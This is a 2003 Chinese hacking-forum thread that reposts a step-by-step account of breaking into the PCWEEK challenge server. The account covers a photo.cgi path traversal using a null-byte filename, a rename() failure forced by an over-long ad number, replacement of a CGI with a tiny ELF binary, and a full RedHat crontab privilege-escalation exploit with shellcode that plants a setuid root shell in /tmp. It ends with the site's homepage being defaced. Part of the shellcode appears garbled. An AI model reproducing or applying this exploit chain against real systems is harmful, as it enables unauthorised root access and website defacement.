Board logo

标题: [转帖]CGI的一次典型入侵 [打印本页]

作者: 冥罪    时间: 2003-2-25 22:48     标题: [转帖]CGI的一次典型入侵

好像看到有人问起有关于CGI入侵的问题。。。 转一篇文章来看看吧。。。 ************************************************************************ 如果我们可以修改变量$write_file,那么我们就可以写系统中任何文件了。这个$write_fi le变量定义如下: $write_file = $Upload_Dir.$filename; $Upload_Dir 是由配置文件定义的,我们没法修改,那么$filename呢? photo.cgi的226行如下: if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); } $filename = lc($UPLOAD{'FILE_NAME'}); $filename =~ s/.+\([^\]+)$|.+/([^/]+)$/1/; if ($filename =~ m/gif/) { $type = '.gif'; }elsif ($filename =~ m/jpg/) { $type = '.jpg'; }else{ {&Not_Valid_Image} } $filename的值来自$UPLOAD{'FILE_NAME'}(是由表格提交给CGI的变量中解析出的)。为了 让我们到我们希望到的地方,$filename必须满足一个正则表达式,我们不能简单的发送我们 需要的文件名,例如“../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd ”就是不行的,它在通过如下 的替换后,将什么也得不到: $filename =~ s/.+\([^\]+)$|.+/([^/]+)$/1/; 如果$filename与这个正则表达式相匹配,那么它将变成ASCII码的1(SOH)。除此之外$fil ename还必须包括“gif”或“jpg”,否则它将无法通过Not_Valid_Image的检查。 在进行了一翻尝试,我终于在Phreck的有关perlCGI的安全的文章的帮助下发现了 /jfs/.. /../../../../../../../../../../../../../../../../../../export/www/htdocs/index.html%00.gif 可以让我们提交index.html文 件(我们必须修改的主页)。但在上载前,我们还得想办法骗过一些脚本代码。 我们发现如果我们以POST的方法发送表格的话,我们就不能蒙混过关(%00将不会被解析), 所以我们只能用GET了。 在photo.cgi的256行,我们可以看到一段代码会对我们刚刚上载的文件的的内容进行检查, 如果文件不符合特定的图象规格(主要是宽、高和大小),脚本将会删除或改写该文件,这 是我们所不希望见到的,至少我们要在服务器上留下一些我们的资料。(注意,photo.cgi脚 本可以用来上载一个由你的广告使用的广告图片。) PCWEEK在配置文件中将ImageSize设置成0,所以我们不用去管有关JPG的部分,让我们将注意 力集中于GIF部分。 if ( substr ( $filename, -4, 4 ) eq ".gif" ) { open ( FILE, $filename ); my $head; my $gHeadFmt = "A6vvb8CC"; my $pictDescFmt = "vvvvb8"; read FILE, $head, 13; (my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHea dFmt, $head; close FILE; $PhotoWidth = $width; $PhotoHeight = $height; $PhotoSize = $size; return; } photo.cgi的140行如下: if (($PhotoWidth eq "") || ($PhotoWidth > '700')) { {&Not_Valid_Image} } if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) { {&Height_Width} } 所以我们不得不把$PhotoWidth设置成小于700,不是"",并且比ImgWidth小(缺省是350)。 所以有$PhotoWidth !="" && $PhotoWidth<350。 对于$PhotoHeight,它必须比$ImgHeight 小(缺省是250)。所以$PhotoWidth = $PhotoHe ight = 0 正好。从脚本中的付值方法来看,我们只要将该值的第6和9字节置0(NUL)就可以 了。 我们保证我们的FILE_CONTENT符合以上的条件,并继续进行下一步了…… chmod 0755, $Upload_Dir.$filename; $newname = $AdNum; rename("$write_file", "$Upload_Dir/$newname"); Show_Upload_Success($write_file); 经过以上的代码,我们的文件被重命名或者说移动到了我们不希望的地方了。 查看有关$AdNum变量值的最后代码,我们看到它只能包含阿拉伯数字: $UPLOAD{'AdNum'} =~ tr/0-9//cd; $UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd; $AdNum = $UPLOAD{'AdNum'}; 其他的东西都将被去掉,所以我们不能在这儿使用../../../../../../../../../的蒙骗手法了。 怎么办?rename()函数需要两个路径参数,一个是新的,一个是旧的……等等,这个函数没 有错误检验,所以如果它出错的话,程序就会跳过去,我们怎样能使它出错呢?用一个非法 的文件名。Linux系统缺省的最长的文件名的限制是1024(MAX_PATH_LEN),所以如果我们能 让这个脚本把我们的文件重命名成一个比1024字节长的文件的话就行了。 下一步我们将提交一个大约1024字节的广告编号(AD number)。 现在,脚本没有如设想的运行,因为他只允许我们上传存在的广告编号的图片。(做那个10 ^1024的数字花了我们不少的时间。) 又是一个死胡同? 没有,那个不完善的输入检测函数让我们有机会进一步的改进这个数字。简单的浏览一下ed it.cgi这个脚本,想一想,如果你输入一个名字然后是回车,最后是那1024个数字,会发生 什么?哈哈,有了。 那个long.adnum文件让我们有机会建立一个新的广告。 当我们可以骗过了广告编号检查后,我们可以利用脚本办到以下的事情: 建立/改写任何nobody有权限的文件,并且可以使该文件是我们希望的内容(除了为GIF留的 有NUL的文件头)。 好,让我们试试。 确认脚本overwrite.as.nobody允许我们得到以上的权限。 直到目前为止一切良好,我们调整脚本以便改写index.html……但是没成功。 可能是我们没有权限改该文件(可能因为文件的所有者是root,或者文件没设置写权限)。 怎么办?我们另寻出路吧。 我们试着改写一个CGI,看看我们能否让它为我们工作。这样我们就可以寻找“绝密”文件了 ,那就胜利在望了。 我们修改了overwrite脚本,很好,他允许我们改写CGI! 我们决定不修改那些重要的(相对严谨)的CGI,我们选择了advisory.cgi(管它是干什么的 呢?)。 这样我们就可以上传一个能允许我们执行命令的shell脚本了,太好了…… 但是,当你以CGI的形式运行shell脚本的时候,你得在脚本的第一行对此加以说明,就象下 面这样: #!/bin/sh echo "Content-type: text/html" find / "*secret*" -print 但是,别忘了,我们的第6、7、8、9字节必须是0或者一个很小的值,以适应有关图形大小的 规定…… #!/bi0000n/sh 这样是不行的,内核只读了前5字节,然后就试图去执行“#!/bi”……就我所知,还没有我 们可以运行的3个字节(外加#!两个字节)的shell。又是死胡同…… 一个ELF(linux的缺省的可执行文件的格式)文件给了我们答案,结果我们成功的将那几个 字节置成了0x00,太妙了。 现在我们需要将一个ELF可执行文件放到远端的服务器上。我们必须使它符合URL的标准,因 为我们只可以用GET的方法,不能用POST,这样我们至少要符合最长URI的限制。对于Apache 服务器最长的URI为8190字节,别忘了我们还要用一个很大的1024个字符的数字,所以给我们 的符合URL标准的ELF程序留下的空间只有7000字节了。 它只能是个小程序了。 lemming:~/pcweek/hack/POST# cat fin.c #include main() { printf("Content-type: text/html "); fflush(stdout); execlp("/usr/bin/find","find","/",0); } 编译后如下: lemming:~/pcweek/hack/POST# ls -l fin -rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin* lemming:~/pcweek/hack/POST# strip fin lemming:~/pcweek/hack/POST# ls -l fin -rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin* lemming:~/pcweek/hack/POST# 然后让它符合URL的标准: lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url lemming:~/pcweek/hack/POST# ls -l fin.url -rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url 要在我们的脚本中使用的话,它是过大了。 我们只有靠我们的直觉来手工编辑这个二进制文件了,我们决定将这个可执行文件中“GCC” 字符串后的所有内容都删除。这么做几乎没有任何理论的根据,如果要根据的话就得研究EL F规范了,但是这么做似乎还可以: lemming:~/pcweek/hack/POST# joe fin lemming:~/pcweek/hack/POST# ls -l fin -rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin* lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url lemming:~/pcweek/hack/POST# ls -l fin.url -rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url lemming:~/pcweek/hack/POST# 现在,我们合并我们的工作成果,然后运行…… 我们查看在我们目录中的名为get、sec、find的文件,希望获得更多的信息。 在这里你会找到to_url 脚本,和一些简单的C文件,这些东西和URL一起解析,就大功告成了 。 现在我们上载这个CGI,然后用我们喜欢的浏览器访问它: wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi ; 这样我们对服务器上的/ 进行了全面的查找。 但是他们的“绝密”文件没在那,或者以nobody的身份无法访问。 我们尝试了一些命令组合,如locate、ls和一些其他命令,但无济于事。 如果这个文件存在,那么它究竟在哪。 现在问题严重了,必须要root的权限了。正象我的一位朋友说的那样,有现成的为什么不用 呢?所以,根据我们知道的有关那台服务器的情况(Linux,i386,因为我机器就是i386,并 且我的那个ELF文件已经在它上面运行了)。我们查找了软件更新的数据,发现了一个对所有 版本的RedHat都可以利用的crontab漏洞(译者注:细节将在后面讨论)。 你可以在最近的 bugtraq/securityfocus 中找到。太好了,我们根据我们的需要对其加以修 改,显然我们根本不需要一个交互的根用户shell,我们只要做一个nobody可访问的suidroo t的shell就行了: #include #include #include #include #include char shellcode[] = "xebx40x5ex89x76x0cx31xc0x89x46x0bx89xf3xeb" "x27w00w00:Ifwewerehackerswedownyourdumbassx8dx4e" "x0cx31xd2x89x56x16xb0x0bxcdx80xe8xbbxffxff" "xff/tmp/w00w00"; int main(int argc,char *argv[]) { FILE *cfile,*tmpfile; struct stat sbuf; int x; chdir("/tmp"); cfile = fopen("/tmp/cronny","a+"); tmpfile = fopen("/tmp/w00w00","a+"); // ,S_IXUSR|S_IXGRP|S_IXOTH); fprintf(cfile,"MAILTO="); for(x=0;x<96;x++) fprintf(cfile,"w00w00 "); fprintf(cfile,"%s",shellcode); fprintf(cfile," * * * * * date "); fflush(cfile); fprintf(tmpfile,"#!/bin/sh cp /bin/bash /tmp/.bs chmod 4755 /tmp/.bs "); fflush(tmpfile); fclose(cfile),fclose(tmpfile); chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH); execl("/usr/bin/crontab","crontab","/tmp/cronny",(char *)0); } 经我们修改后,使这个shell指向了/tmp/.bs。我们重新上载CGI,并且用我们的浏览器使其 运行,然后我们就准备进行测试了。 我们做了一个CGI进行初次测试,它将执行ls /tmp。我们确实实现了suidroot。 ( ... ) execlp("/bin/ls","ls","-ula","/tmp",0); ( ... ) 我们接着将一个用来替换index.html的文件上载到了/tmp/xx。 ( ... ) execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0); ( ... ) 应该做最后要运行的程序了: ( ... ) execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0); ( ... ) 游戏到此结束了。 共耗时20小时。 最后我们将我们的资料上载并拷贝到了一个安全并且nobody可见的地方,然后向讨论组发了一个消息并且开始等待回音了
作者: Yuki    时间: 2003-5-19 00:54     标题: [转帖]CGI的一次典型入侵

共耗时20小时。
我晕
作者: 默读忧伤    时间: 2003-6-22 11:26     标题: [转帖]CGI的一次典型入侵

脚本很难明啊...
作者: 深蓝    时间: 2003-7-7 13:54     标题: [转帖]CGI的一次典型入侵

我运了~真是对不起啊~




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2